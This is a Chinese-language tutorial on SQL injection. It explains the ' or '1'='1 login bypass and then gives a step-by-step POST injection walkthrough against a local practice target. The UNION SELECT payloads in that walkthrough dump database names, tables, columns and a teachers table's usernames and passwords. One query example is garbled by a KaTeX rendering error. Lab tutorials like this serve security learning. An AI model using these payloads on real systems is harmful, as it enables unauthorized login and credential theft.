1.万能密码的原理
数据库没有对前端输入的参数的合法性做过率,并且账号和密码 一起输入,可以通过编写恶意语句,将用户与密码的输入结果判断为真,就实现了万能密码的登录。
2.万能密码实例:
查询语句select * from ‘.KaTeX parse error: Double superscript at position 21: …e.' where id=' '̲ and pass=' ';
…t_name.’ where id=’ sdadaad’ and pass=’ ‘or’1’=‘1’;
由于SQL语句中逻辑运算符具有优先级:=的优先级>and,and的优先级>or
因此,此SQL语句在后台解析时分成两句:select * from ‘.$t_name.’ where id=’ sdadaad’ and pass=’ ’ 和 or’1’=‘1’
前面判断为真and假为假,后面为真,结果就为真,就可以登录成功了
3.POST注入的原理
post注入是通过对输入框进行传参,可以被带入数据库进行的查询
注入的两个条件:
1.用户可以控制传参
2.用户输入的语句被带入数据库进行查询
3.对用户输入的数据没有做合法性的判断
4.POST注入实战
对http://127.0.0.1/grade/页面进行POST注入,查询到用户信息
环境:grade靶场
1.密码框输入’or’1’=‘1获得一个正确的ID
2.在用户框输入3001’and1=1#(正确)和3001‘and1=2#(错误)判断为字符型
3.判断字段数
3001’ order by 3#
4.判断显示位置
-3001’ union select 1,2,3#
5.查询数据库
-3001’ union select 1,database(),3#
6.查询表名
-3001’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘grade’),3#
7.查询字段
-3001’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘grade’ and table_name=‘teachers’),3#
8.查询数据
-3001’ union select 1,(select group_concat(id,name,pass) from grade.teachers),3#